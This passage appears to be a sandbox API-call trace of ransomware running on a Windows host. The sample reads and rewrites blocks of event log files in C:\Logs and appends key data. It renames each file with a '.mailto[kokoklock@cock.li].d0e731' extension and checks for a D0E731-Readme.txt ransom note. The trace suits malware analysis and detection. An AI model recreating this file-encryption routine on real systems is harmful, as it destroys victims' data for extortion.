(lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.785] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.785] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.785] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.785] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f981a0) returned 1 [0164.785] RtlExitUserThread (Status=0x1) Thread: id = 1538 os_tid = 0xee4 [0164.788] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.788] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.789] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.789] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x70efcf8 | out: lpFileSize=0x70efcf8*=69824) returned 1 [0164.789] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.789] ReadFile (in: hFile=0x4a0, lpBuffer=0x70efccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x70efccc*, lpNumberOfBytesRead=0x70efcc8*=0x4, lpOverlapped=0x0) returned 1 [0164.790] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab938 [0164.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7d0 [0164.790] NtQuerySystemTime (in: CurrentTime=0x70efca4 | out: CurrentTime=0x70efca4*=132121213220996802) returned 0x0 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x2819136b [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xa7e80c8 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x346ae436 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x37f1ce96 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x3bf4f1e3 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x5d05c38b [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x21f19c3c [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x648f3712 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x73467eef [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xf30aa1da [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xc78ee0ec [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x3f4988ae [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x3571a06a [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x3d080e6d [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x958c68ec [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xf5ccc35d [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xc8683973 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x5fafa7a5 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x23485889 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xe92b0089 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xd74c5ff7 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x31a0ed66 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x1cd86abd [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x91ac5988 [0164.790] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xc3a5fc66 [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xd4abce6c [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xdd66224b [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xade70ed8 [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x81aab03f [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x2197c1c4 [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0xc0483da4 [0164.791] RtlRandom (in: Seed=0x70efcb0 | out: Seed=0x70efcb0) returned 0x8b62a679 [0164.799] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab898 [0164.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab938) returned 1 [0164.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.801] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.801] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x70efc7c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x70efc7c*=0x4096, lpOverlapped=0x0) returned 1 [0164.802] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.803] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x70efc7c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x70efc7c*=0x4096, lpOverlapped=0x0) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.803] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.803] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab848*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x70efcb4, lpOverlapped=0x0 | out: lpBuffer=0x2fab848*, lpNumberOfBytesWritten=0x70efcb4*=0x20, lpOverlapped=0x0) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x70efcc8*=0x8, lpOverlapped=0x0) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x70efce0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x70efce0*, lpNumberOfBytesWritten=0x70efcc8*=0x4, lpOverlapped=0x0) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x70efcc8*=0x4, lpOverlapped=0x0) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x70efcc8*=0x6c, lpOverlapped=0x0) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x70efcc8*=0x20, lpOverlapped=0x0) returned 1 [0164.804] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70efcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x70efcc8*=0x4, lpOverlapped=0x0) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.805] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab898) returned 1 [0164.805] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.805] CloseHandle (hObject=0x4a0) returned 1 [0164.805] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85918 [0164.805] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.805] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.805] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.806] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.806] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.806] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.806] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.806] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.806] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98260) returned 1 [0164.806] RtlExitUserThread (Status=0x1) Thread: id = 1539 os_tid = 0xee8 [0164.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.808] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.808] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.808] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x716fb7c | out: lpFileSize=0x716fb7c*=1052928) returned 1 [0164.808] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.808] ReadFile (in: hFile=0x4a0, lpBuffer=0x716fb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x716fb50*, lpNumberOfBytesRead=0x716fb4c*=0x4, lpOverlapped=0x0) returned 1 [0164.809] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab938 [0164.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.809] NtQuerySystemTime (in: CurrentTime=0x716fb28 | out: CurrentTime=0x716fb28*=132121213221309504) returned 0x0 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x9a87d3d7 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xe08c36d8 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xa6d91df1 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x3bba87f6 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x18e68600 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x2dd19fff [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x951a116 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xd2f547ae [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x4b06dec7 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x3fafc51c [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xc8df7956 [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xc2ffb34a [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x6e02242d [0164.809] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xae81a7e [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x381a7206 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xf7d0f5ab [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x4537ccce [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x98331bda [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xbb8bc6a7 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x67b577b6 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x6cc24cec [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xdb8f20fc [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xb4da6855 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xb0d845e9 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xfd4692ec [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xdf71e487 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x776b013e [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x7580e0b8 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0x1bc96158 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xb45ba2c8 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xa9acf8c5 [0164.810] RtlRandom (in: Seed=0x716fb34 | out: Seed=0x716fb34) returned 0xaafab211 [0164.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.820] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.820] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab938) returned 1 [0164.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.820] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.820] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.822] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab870 [0164.822] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab870) returned 1 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab870 [0164.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab820 [0164.822] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab820) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.822] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.822] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.823] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.823] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.824] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.824] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0164.824] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0164.824] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab898 [0164.824] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab898) returned 1 [0164.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab820 [0164.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0164.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0164.825] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.825] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.825] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.827] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87110 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac78 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab938 [0164.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac78) returned 1 [0164.827] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87110) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x716fae8, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x716fae8*=0x4096, lpOverlapped=0x0) returned 1 [0164.828] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x716fb44, lpOverlapped=0x0 | out: lpBuffer=0x2fab870*, lpNumberOfBytesWritten=0x716fb44*=0x20, lpOverlapped=0x0) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab820*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x716fb44, lpOverlapped=0x0 | out: lpBuffer=0x2fab820*, lpNumberOfBytesWritten=0x716fb44*=0x20, lpOverlapped=0x0) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab938*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x716fb44, lpOverlapped=0x0 | out: lpBuffer=0x2fab938*, lpNumberOfBytesWritten=0x716fb44*=0x20, lpOverlapped=0x0) returned 1 [0164.828] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.828] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x716fb4c, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x716fb4c*=0x8, lpOverlapped=0x0) returned 1 [0164.828] WriteFile 